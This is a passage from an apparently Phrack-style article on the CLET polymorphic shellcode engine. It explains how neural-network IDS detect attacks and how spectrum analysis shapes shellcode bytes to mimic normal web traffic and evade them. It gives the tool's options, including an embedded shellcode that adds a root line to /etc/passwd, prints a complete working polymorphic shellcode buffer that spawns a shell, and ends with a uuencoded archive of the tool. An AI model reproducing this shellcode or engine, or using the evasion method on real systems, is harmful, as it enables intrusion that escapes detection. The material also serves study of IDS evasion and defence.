| Neuron |--fh[(w1*X1 + w2*X2 + ... + wN*XN)-B]
... | |
| |
XN --------wN--------|____________|
fh is the function defined by: |
fh(x)=1 if x>0 | B is called the offset of the neuron.
fh(x)=0 if x<=0 |
So we understand that the exiting value is 0 or 1 depending of the
entering value X1,X2,...,XN and depending on w1,w2,...,wN.
------[ 5.2.B - a data-mining method: using neural approach in an IDS.
Imagine now that the value X1,X2,...,XN are values of the data of a
packet: X1 is the first byte, X2 the second,..., XN the last one (you can
choose X1 the first bit, X2 the second, etc... if you want that the
entering values are 0 or 1) (we can choose too X1 number of \x00, X2
number of \x01,... there are many methods, we expose one idea here in
order to explain data mining). The question is: which w1,w2,...wN have we
to choose in order to generate an exiting value of 1 if the packet is a
'dangerous' one and 0 if it is a normal one? We can't find value, our
neuron have to learn them with the following algorithm:
w1,w2,...,wN is first chosen randomly.
Then we create some packets and some 'dangerous' packets with polymorphic
engine, and we test them with the neuron.
We modify the wI when the exiting value is wrong.
If the exiting value is 0 instead of 1:
wI <- wI + z*xI 0<=I<=N
If the exiting value is 1 instead of 0:
wI <- wI - z*xI 0<=I<=N
z is a constant value chosen arbitrarily.
In easy stages, neuron will 'learn' to recognize normal packets from
'dangerous' ones. In a real IDS, one neuron is not sufficient, and the
convergence have to be studied. There is however two big advantages of
neural approach:
decisions of a neural network depend not directly on rules written by
humans, they are based on learning which set "weights" of different
entries of neurons according to the minimization of particular statistical
criterions. So the decisions are more shrewd and more adapted to the local
network traffic than general rules.
when the field of searching is important (huge data bases for pattern
matching), data mining approach is quicker because the algorithm has not
to search in a huge data bases and as not to perform a lot of calculations
(when the choice of the network topology, of explanatory variables and
learning are "good"...)
----[ 5.3 - Spectrum Analysis in CLET against data mining method.
The main idea of the method we expose upper, like lots of data mining
methods, is to learn to recognize a normal packet from a 'dangerous'
packet. So we understand that to struggle this kind of methods, simple
polymorphism can be not enough, and alphanumeric method (enjoy the
excellent article of rix), can be inefficient. Indeed, in a case of a
non-alphanumeric communication, alphanumeric data will be considered as
strange and will create an alert. The question is to know how a polymorph
engine can generate a polymorphic shellcode which will be considered as
normal by an IDS using data mining methods. Maybe CLET engine shows a
beginning of answer. Howerer we are aware of some weaknesses (for
nstance the SpectrumFile has no influence under the fakenot zone), we work
today on this weaknesses.
Let's see how it works.
Imagine the following case:
_________
| Firewall| ________
---Internet---| + |------| Server |
| IDS | |________|
|_________|
We can suppose that the IDS analyses the entering packet with a port
destination 80 and the ip of the server with data mining methods.
To escape this control, our idea is to generate bytes which values are
dependant on the probability of this values in a normal trafic:
theo@warmach# sniff eth0 80 2>fingerprint &
theo@warmach$ lynx server.com
The program sniff will listen on interface eth0 the leaving packet with a
destination port 80 and record the data of them in a file fingerprint in
binary.
Then, we begin to navigate normally to record a 'normal' trafic.
theo@warmach$ stat fingerprint Spectralfile
The program stat will generate a file Spectralfile which content have the
following format:
0 (number of bytes \x00 in leaving data destinated to server)
1 (number of bytes \x01 in leaving data destinated to server)
...
FF (number of bytes \xFF in leaving data destinated to server)
This Spectralfile can be generated by lots of methods. Instead of my
example, you can decide to generate it from the trafic on a network,
you can decide to write it if you have specials demands....
Now the question is, how can we use this file? how can we use a
description of a trafic? Option f of clet allows us to use a analysis of
a trafic, thanks to this spectral file.
theo@warmach$ clet -n 100 -c -b 100 -f Spectralfile -B
(cf 6 for options)
Action of option -f is different between the different zones (NOPzone,
decipher routine, shellcode, cramming zone). Indeed we want to modify,
thanks to SpectralFile, process of generation of polymorphic shellcode but
we can't have the same action upon the different zones because we have
constraints depending on zones. It's for instance, in some cases, very
difficult to generate a fake nop zone according to a spectrum analysis.
Let see how we can act upon this different zones.
------[ 5.3.1 - Generate cramming bytes zone using spectrum analysis.
The simplest idea is to generate a craming bytes zone which spectrum is
the same than trafic spectrum:
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
^
|
|
the probability of these bytes
are dependant on the Spectralfile
(without the value \x00)
If there is no file in argument, there is equiprobability for all the
values (without zero)...
This process of generation is used if you don't use -B option.
However cramming bytes zone is the gold zone. In that way, we can generate
bytes we want. Remember that in some zones, we don't use spectrum
analysis (like in DecipherRoutine in our version). It will more usefull to
use cramming bytes zone in order to add bytes we lack in previous zones in
which we can't so easily use spectral file. Let's go!
--------[ 5.3.1.A - A difficult problem
To explain it, we will take a simple example. We are interested in a zone
where there are only three bytes accepted called A,B,C. A spectrum study
of these zone shows us:
A: 50
B: 50
C: 100
The problem is that, because of our shellcode and our nop_zone, we have
the following fixed beginning of our packet:
ABBAAAAA (8 bytes)
We can add two bytes with our cramming zone. The question is:
which 2 bytes have we to choose?
The answer is relativy simple, intuitively we think of CC, why?
because C is important in trafic and we don't have it. In fact, if we
call
Xa the random variable of Bernouilli associated to the number of A in the
first 9 bytes
Xb the random variable of Bernouilli associated to the number of B in the
first 9 bytes
Xc the random variable of Bernouilli associated to the number of C in the
first 9 bytes
we intuitively compare p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=7)*p(Xb=2)
and p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=6)*p(Xb=3)
Thus, we choose C because the packet ABBAAAAAC have, spectrumly speaking,
more probablities to exist than ABBAAAAAA or ABBAAAAAB.
Maybe you can think that it is because C has the most important
probability in the trafic. It's a wrong way of thinking. Indeed, imagine
we have the following beginning:
CCCCCBBB
how have to choose the next byte? we will choose A although A and B have
the same probability to come because of the reason explained upper.
Ok so we choose C. Using the same principles, we then choose C for the
tenth bytes: ABBAAAAACC.
The problem is that we can't use this method to generate the cramming
bytes. Indeed, this method is fixed. When we write fixed, we want to say
that the first 8 bytes fixed the two following. That is a weakness!
In that way, if we generate the cramming bytes zone by this method, that
means that the beginning zone (nop_zone+ decipher + shellcode) will fix
the cramming zone. If we use a principle, we create a method to recognize
our packet. Take the beginning and try with the same principles to create
a cramming zone. If you obtain the same bytes then the packet have been
created by CLET polymorphism engine (even if it is not easy to find the
beginning of the cramming bytes zone). You can discard it.
So now we have to introduce a law of probability. Indeed, if we have the
following beginning: ABBAAAAA, we have to increase the probability to
obtain a C and decrease probability to obtain B or A. But this last
probabilities mustn't be null! The real question is thus:
how modifying probability of A,B,C in order to finally obtain a packet
which spectrum is close to trafic spectrum?
------[ 5.3.1.B - A logical idea.
Take the last example: we have
ABBAAAAA
and a spectrum file with:
A=50; B=50; C=100;
how choosing laws of probabilty?
With notations used upper and in case of all the bytes would have been
chosen using spectrum file, we would have:
E[Xa]=9/4
E[Xb]=9/4
E[Xc]=9/2
E[X] is written for the hope of the random variable X (mathematicaly
speaking in our case: E[X]=p(X)*size (here 9) because it's a Bernouilli
variable).
In fact we have 6 A and 2 B.
Because 9/4-6 <0, it will stupid to generate a A, we can write that the
new probability of A is now p(A)=0!
However 9/4-2 >0 and 9/2-0>0 so we can still generate B and C to ajust the
spectrum. We must have p(B)>0 and p(C)>0.
We have:
9/4-2=1/4
9/2-0=9/2
So intuitively, we can think that it is logic that C has a probablity
(9/2)/(1/4)=18 bigger than probability of B. Thus we have to solve the
system:
| p(C)=18*p(B) ie | p(B)=1/19
| p(C)+p(B)=1 | p(C)=18/19
and we obtain laws for generate the ninth byte.
Then we can use the same algorithm to create cramming byte zone.
However this algorithm has the following problem:
the big problem is to know in what conditions we have:
E[Xa] ~ sizeof(packet) * p(A)
E[Xb] ~ sizeof(packet) * p(B)
E[Xc] ~ sizeof(packet) * p(C)
...
when sizeof(cramming zone) ---> +oo
ie when sizeof(paquet) -------> +oo
~ means equivalent to (in the mathematical sense).
sizeof(packet) * p(.) would be the hope in case of the whole packet would
have been generated depending on trafic (because in such a case, Xa,Xb,..
would be variables of Bernouilli, see [7]). Remember it's what we want. We
want that our cramming byte zone generate a packet which entire spectrum
is close to trafic spectrum. We want that our laws 'correct' the spectrum
of the beginning. Intuitively we can hope that it will be the case because
we favour lacking bytes over the others. However, it is a bit difficult to
prove it, mathematicaly speaking. Indeed take E[Xa] for instance. It's
very difficult to write it. In that way laws to generate the N byte
depending on the N-1 random byte. In our example, laws to generate the
tenth byte are not the same if we have ABBAAAAAC or ABBAAAAAB. Remember
that to avoid a fixed method the two cases are allowed!
That's for all this reasons we have chosen a simpler method.
------[ 5.3.1.C - CLET Method.
If you don't use the option -B, cramming bytes zone will be generated as
explain in the beginning of 5.3.1, without taking the beginning into
account. We can begin to explain how this method is implemented, how it
uses the spectrum file. Imagine we have the following spectrum file:
0 6
1 18
2 13
3 32
4 0
.....
FC 0
FD 37
FE 0
FF 0
First we can notice that we don't take care of the first line because we
can't generate zeros in our zone. We build the following board:
| sizeof(board) | 1 | 2 | 3 | FC |
---------------------------------------------------------------
| XXXXXXXXX | 18 | 13+18 | 31+32 | 63+37 |
= 31 = 63 = 100
Then we randomly choose a number n between 1 and 100 and we make a
dichotomic search in the board (to limit the complexity because we have a
sorted board).
if 0 < n <= 18 we generate \x01
if 18 < n <= 31 we generate \x02
if 31 < n <= 63 we generate \x03
if 63 < n <= 100 we generate \xFC
This method allows us to generate a cramming bytes zone with p(1)=18/100,
p(2)=13/100, p(3)=32/100 and p(FC)=37/100, without using float division.
Now let's see how the option -B take the beginning into account.
We take the same example with the same spectrum file:
| sizeof(board) | 1 | 2 | 3 | FC |
---------------------------------------------------------------
| XXXXXXXXX | 18 | 13+18 | 31+32 | 63+37 |
= 31 = 63 = 100
To take the beginning into account, we modify the board with the following
method:
Imagine we have to generate a 800 bytes cramming bytes zone, the beginning
have a size of 200 bytes. In fact, at the end, our packet without the
adress zone will have a size of 1000 bytes.
We call Ntotal the max value in board (here 100) and b the size of the
packet without the adress zone (here 1000).
b= b1 + b2 (b1 is size of the beginning=fakenop+decipher+shellcode and b2
is size of cramming byte zone). Here b1=200 and b2=800.
Let's see how we modify the board, for instance with byte \x03. We call q3
the number of byte \x03 we found in the beginning. (here we choose q3=20).
We make q3*Ntotal/b=20*1/10=2 and then we make 63-2=61. We obtain the
following board:
| sizeof(board) | 1 | 2 | 3 | FC |
---------------------------------------------------------------
| XXXXXXXXX | 18 | 13+18 | 63-02 | 61+37 |
= 31 = 61 = 98
So now, we can think that we have a probability of 30/98 to generate \x03,
however this algorithm have to be use to modify all value. The value 98
will be thus modified. We apply the same algorithm and we can suppose we
finally obtain the board:
| sizeof(board) | 1 | 2 | 3 | FC |
---------------------------------------------------------------
| XXXXXXXXX | 16 | 11+16 | 57 | 57+33 |
= 27 = 90
Finally we see that we obtain laws:
p(\x01)= 16/90
p(\x02)= 11/90
p(\x03)= 30/90
p(\xFC)= 33/90
This laws will be use to generate all the cramming bytes zone.
Intuitively, we understand that, with this method, we correct our
spectrum depending on the values we have in the beginning. The question is
now, can we prove that this method do a right correction, that:
E[Xn] ~ b*p(n) when b ---> +oo
where X is a random variable of bernouilli which count the number of the
byte n in the packet and p(n) the probability of n to appear in the
trafic.
If such is the case, that means that E[X], with a sufficient value of b,
is 'like a simple bernoulli hope'. It's like we have generated the whole
packet with probabilities of the trafic!
Let's prove it!
We take the same notation. Ntotal is total sum of data in the trafic.
b=b1+b2 (b1 size of beginning, b2 size of cramming zone).
We call q(\xA2) number of \xA2 bytes in beginning (fakenop +decipher +
shellcode) and n(\xAE) the number initially written in spectrum file near
AE.
We take a byte that we call TT.
E[Xt] = q(TT) + b2 * p'(TT)
p'(TT) is the probability for having n after modification of the board. As
we see previously:
n(TT) - q(TT)*Ntotal/b
p'(TT)= -----------------------------------------------------------
Ntotal - ( q(\x00)+ q(\x01) + ...... + q(\xFF) )*Ntotal/b
So we have:
n(TT) - q(TT)*Ntotal/b
E[Xt]=q(TT)+b2*--------------------------------------------------------
Ntotal - (q(\x00)+ q(\x01) + ...... + q(\xFF))*Ntotal/b
We simplify by Ntotal:
(b2*n(TT))/Ntotal - q(TT)*b2/b
E[Xt]=q(TT) + --------------------------------------------------------
1 - (q(\x00)+ q(\x01) + ...... + q(\xFF))/b
Ok, when b -----> +oo, we have:
b2~b (b=b1+b2 and b1 is a constant)
Obviously q(\x00)=o(b); q(\x01)=o(b);.....
thus (q(\x00)+ q(\x01) + ...... + q(\xFF))/b = o(1) and:
1 - (q(\x00)+ q(\x01) + ...... + q(\xFF))/b -------> 1
so E[Xt] = q(TT) + b*(n(TT)/Ntotal) - q(TT) + o(b)
Moreover we have p(n)=n(TT)/Ntotal so
E[Xt] = b*p(n) + o(b)
so E[Xt] ~ b*p(n) we got it!
We can notice that we got this relation with the first simple method. We
can so think that this second method is not better. It is wrong because
remember that this relation doesn't show that a method is good or not, it
just shows if a method is fair or not! This second method takes beginning
into account, so it is better that the simple one. However before
demonstration we can't know if this method was fair. We just knew that if
it was fair, it will better than the simple one. Now we know that it is
fair. That's why CLET uses it.
------[ 5.3.2 - Generating shellcode zone using spectrum analysis.
There is a very simple idea: generating several decipher routines and
using the best one. But how choose the best one?
Remember we want to generate a shellcode which will be considered as
normal. So we could think that the best decipher routine is the one which
allows to generate a shellcode which spectrum is close to trafic spectrum.
However it's important to understand that this kind of approach has its
limits. Indeed, imagine following cases:
We have an IDS which data mining methods is very simple, if it finds a
byte \xFF in a packet, it generate an alert and discard it. We have the
following spectrum file:
0 0
1 0
.....
41 15678
42 23445
....
The shellcode we generate will have many \x41 and \x42, but imagine it
has a \xFF in the ciphered shellcode. Our packet will be discarded.
However if we have done a packet without spectrum file and without a \xFF
byte, this packet would have been accepted. We think that the more the
shellcode will have a spectrum close to trafic spectrum, the more the
packet have probability to be accepted. However, it can exist exception as
we see in the example (we can notice that in example the rule was very
clear, but rules generated by data mining method are less simple).
The main question is thus: how defining a good polymorph shellcode?
Against data mining method there is a simple idea, we have to define a
measure which let us to measure a value of a shellcode. How finding this
measure? For the moment we work on a measure which favours shellcode which
spectrum is close to trafic spectrum by giving a heavy value of bytes
which don't appear in trafic. However, this method is not implemented in
version 1.0.0 because today IDS with data-mining methods are not very
developped (there is SNORT) and so it is difficult to see what kind of
caracteristics will be detected (size of packet, spectrum of packet, ...)
and it is so difficult to define a good measure.
------[ 5.3.3 - Generating fakenop zone using spectrum analysis.
In this part, we don't perform to modify the code following the spectrum
analysis due to difficulties of such an implementation. We just are
trying to generate random code with the my_random function which gives a
uniform probability to generate number between min and max... :(
We still could think about a function which would give a weight for each
instruction following the results of a spectrum analysis, and we could
generate fake-nop with a random function whose density function corresponds
to the density of probability given by the former function...
The problem with this method is that the set of instructions is smaller
than the set of all the hexa codes that contains the network traffic.
Such a finding automaticaly dodges the issues of our method, and all we
can do is to minimalise the difference of spectrum between our code and
a normal network traffic and try to compensate with other parts of the
shellcode we better control (like the craming bytes)...
----[ 5.4 - Conclusion about anti data-mining methods.
Spectrum Analysis an approach, it's not the only one. We are aware too
that, with methods like neural method exposed upper, it is possible to
generate a filter against CLET polymorphic shellcodes, if you use our
engine as a benchmark to involve your neural system. That's a interessant
way of using! Maybe it is interessant too to think about genetic methods
in order to find the best approach (cf [5]). However, today data-mining
begins and so it's difficult to find the best approach...
--[ 6 - The CLET Polymorphic Shellcode Engine
----[ 6.1 - Principles
We decided to make a different routine at each time, randomly. We first
generate a XOR (with a random key) at a random place, and then we generate
reversible instructions (as many as you want) : ADD/SUB, ROL/ROR. We don't
generate it in assembly but in a pseudo-assembly language, it is easier to
manipulate pseudo-assembly language at this point of the program because we
have to make two things at the same time : cipher the shellcode and generate
the decipher routine.
Let's see how it works :
|
|
|
+-------+--------+
| pseudo-code of |
| the decipher |<----------------+
| routine | |
+----------------+ |
| | |
| | |
traduction interpretation |
| + |
| cipher |
| | |
| | |
| | YES
| | |
+-------------+ +-----------+ +----+----+
| decipher | | ciphered | | |
| routine | | shellcode +----->| zeroes? |
| | | | | |
+------+------+ +-----------+ +----+----+
| |
| NO
| |
| +----------------------------+
| |
| |
+-------------+
| polymorphed |
| shellcode |
+-------------+
Of course, when a cipher routine has been generated, we test it to see if a
zero appear in the ciphered code (we also take care of not having zeroes in
the keys. If it is the case, we replace it by a 0x01). If it is the case, a
new cipher routine is generated. If it is good, we generate the decipher
routine. We don't insert fake instructions among the true instructions of
the decipher routine, it could improve the generator.
The main frame of our routine is rather the same (this is maybe a weakness)
but we use three registers. But we take care of using different registers
at each time, ie those three registers are chosen at random (cf 4.2)
----[ 6.2 - Using CLET polymorphic engine
theo@warmach$ ./clet -h
_________________________________________________________________________
The CLET shellcode mutation engine
by CLET TEAM:
Theo Detristan, Tyll Ulenspiegel,
Mynheer Superbus Von Underduk, Yann Malcom
_________________________________________________________________________
Don't use it to enter systems, use it to understand systems.
Version 1.0.0
Syntax :
./clet
-n nnop : generate nnop NOP.
-a : use american english dictonnary to generate NOP.
-c : print C form of the buffer.
-i nint : decryption routine has nint instructions (default is 5)
-f file : spectrum file used to polymorph.
-b ncra : generate ncra cramming bytes using spectrum or not
-B : cramming bytes zone is adapted to beginning
-t : number of bytes generated is a multiple of 4
-x XXXX : XXXX is the address for the address zone
FE011EC9 for instance
-z nadd : generate address zone of nadd*4 bytes
-e : execute shellcode.
-d : dump shellcode to stdout.
-s : spectrum analysis.
-S file : load shellcode from file.
-E [1-3]: load an embeded shellcode.
-h : display this message.
/* Size options:
In bytes:
-n nnop -b ncra -z nadd/4
<--------> <--------------><------------->
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
-t allows that:
Size_of_fake_nop_zone + Size_decipher + Size_decipher + Size_cramming
is a multiple of 4. This option allows to alignate return adresses.
-i is the number of fake instructions (cf 6.1) in the decipher routine.
/* Anti-data mining options:
-f you give here a spectrum file which shows trafic spectrum (cf 5.3)
If you don't give a file, probabilities of bytes are the same.
-B the option -b generates a cramming bytes zone. If the option is used
without -B, process of generation doesn't take care of the fakenop
zone, ciphered shellcode, etc... Indeed if -b is used with -B then
cramming bytes zone tries to correct spectrum 'errors' due to the
begininning.
/* Shellcode
-E allows you to choose one of our shellcode.
1 is a classic bash (packetstorm).
2 is aleph one shellcode.
3 is a w00w00 code which add a root line in /etc/passwd
(don't use it with -e in root)
-S allows us to give your shellcode. It's important because our
shellcodes are not remote shellcode! You give a file and its bytes
will be the shellcode. If you just have a shellcode in Cformat you can
use convert.
-e execute the encrypted shellcode, you see your polymorphic shellcode
runs.
/* See the generated shellcode.
-c writes the shellcode in C format.
-d dump it on stderr.
/* Example
theo@warmach$ ./clet -e -E 2 -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123
-a -x AABBCCEE -z 15 -i 8
[+] Generating decryption loop :
ADD 4EC0CB5C
ROR 19
SUB 466D336C // option -i
XOR A535C6B4 // we've got 8 instructions.
ROR D
ROR 6
SUB 51289E19
SUB DAD72129
done
[+] Generating 123 bytes of Alpha NOP :
NOP : SUPREMELYCRUTCHESCATARACTINSTRUMENTATIONLOVABLYPERILLABARB
SPANISHIZESBEGANAMBIDEXTROUSLYPHOSPHORSAVEDZEALOUSCONVINCEDFIXERS
done
// 123 bytes, it's the -n 123 option. -a means alphanumeric nops.
[+] Choosing used regs :
work_reg : %edx
left_reg : %ebx // regs randomly chosen for decipher routine.
addr_reg : %ecx
done
[+] Generating decryption header :
done
[+] Crypting shellcode :
done
[+] Generating 50 cramming bytes // -b 50 bytes of cramming bytes
[+] Using ../spectrum/stat2 // -f ../spectrum/stat2: bytes
[+] Adapting to beginning // depends on spectrum file.
done // -B options: Adapting to beginning
// cf 5.3.1
[+] Generating 1 adding cramming bytes to equalize // -t option
[+] Using ../spectrum/stat2 // we can now add adresses of 4 bytes
done
[+] Assembling buffer :
buffer length : 348
done
// This all the polymorph shellcode in C format (option -c)
Assembled version :
\x53\x55\x50\x52
\x45\x4D\x45\x4C
\x59\x43\x52\x55
\x54\x43\x48\x45
\x53\x43\x41\x54
\x41\x52\x41\x43
\x54\x49\x4E\x53
\x54\x52\x55\x4D
\x45\x4E\x54\x41
\x54\x49\x4F\x4E
\x4C\x4F\x56\x41
\x42\x4C\x59\x50
\x45\x52\x49\x4C
\x4C\x41\x42\x41
\x52\x42\x53\x50
\x41\x4E\x49\x53
\x48\x49\x5A\x45
\x53\x42\x45\x47
\x41\x4E\x41\x4D
\x42\x49\x44\x45
\x58\x54\x52\x4F
\x55\x53\x4C\x59
\x50\x48\x4F\x53
\x50\x48\x4F\x52
\x53\x41\x56\x45
\x44\x5A\x45\x41
\x4C\x4F\x55\x53
\x43\x4F\x4E\x56
\x49\x4E\x43\x45
\x44\x46\x49\x58
\x45\x52\x53\xEB
\x3B\x59\x31\xDB
\xB3\x30\x8B\x11
\x81\xC2\x5C\xCB
\xC0\x4E\xC1\xCA
\x19\x81\xEA\x6C
\x33\x6D\x46\x81
\xF2\xB4\xC6\x35
\xA5\xC1\xCA\x0D
\xC1\xCA\x06\x81
\xEA\x19\x9E\x28
\x51\x81\xEA\x29
\x21\xD7\xDA\x89
\x11\x41\x41\x41
\x41\x80\xEB\x04
\x74\x07\xEB\xCA
\xE8\xC0\xFF\xFF
\xFF\xE3\xBF\x84
\x3E\x59\xF4\xFD
\xEE\xE7\xCF\xE2
\xA2\x02\xF8\xBE
\x1D\x30\xEB\x32
\x3C\x12\xD7\x5A
\x95\x09\xAB\x16
\x07\x24\xE3\x02
\xEA\x3B\x58\x02
\x2D\x7A\x82\x8A
\x1C\x8A\xE1\x5C
\x23\x4F\xCF\x7C
\xF5\x41\x41\x43
\x42\x43\x0A\x43
\x43\x43\x41\x41
\x42\x43\x43\x43
\x43\x43\x43\x42
\x43\x43\x43\x43
\x43\x0D\x0D\x43
\x43\x43\x43\x43
\x41\x42\x43\x43
\x43\x41\x43\x42
\x42\x43\x43\x42
\x0D\x41\x43\x41
\x42\x41\x43\x43 // -t option: it is equalized.
\xAA\xBB\xCC\xEE // -z 15 option: 15*sizeof(adress) zone
\xAA\xBB\xCC\xEE // -x AABBCCEE option gives the adress
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
Executing buffer : ... // -e option we test our polymorph shellcode
sh-2.05a$ // -E 2 we've chosen Aleph One shellcode
// That's it.
--[ 7 - References
[1] http://www.phrack.org/p49-14
Smashing The Stack For Fun And Profit, Aleph One
[2] http://www.phrack.org/p57-0x0f
Writing ia32 alphanumeric shellcodes, rix
[3] IA-32 Intel Architecture Software Developer's Manual
Volume 2: Instruction Set Reference
http://www.intel.com/design/pentium4/manuals/
get it free ! http://www.intel.com/design/pentium4/manuals/index2.htm
[4] Billy Belcebu Virus Writing Guide
especially the chapter on polymorphism
http://vx.netlux.org/lib/static/vdat/tumisc60.htm
[5] Du virus a l'antivirus, Mark Ludwig
especially the chapter on polymorphism
[6] Neural Computing: an introduction.
R. Beale, T. Jackson
[7] Calcul des probabilites
Dominique Foata, Aime Fuchs
Dunod edition
--[ Greetz
We would like to thank :
- all those who were at the RtC.Party'03, in particular ptah, eldre8, kad
and spacewalker.
- #kaori@irc.freenode.net guys
- basque && bedian for moral support
begin 644 clet
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
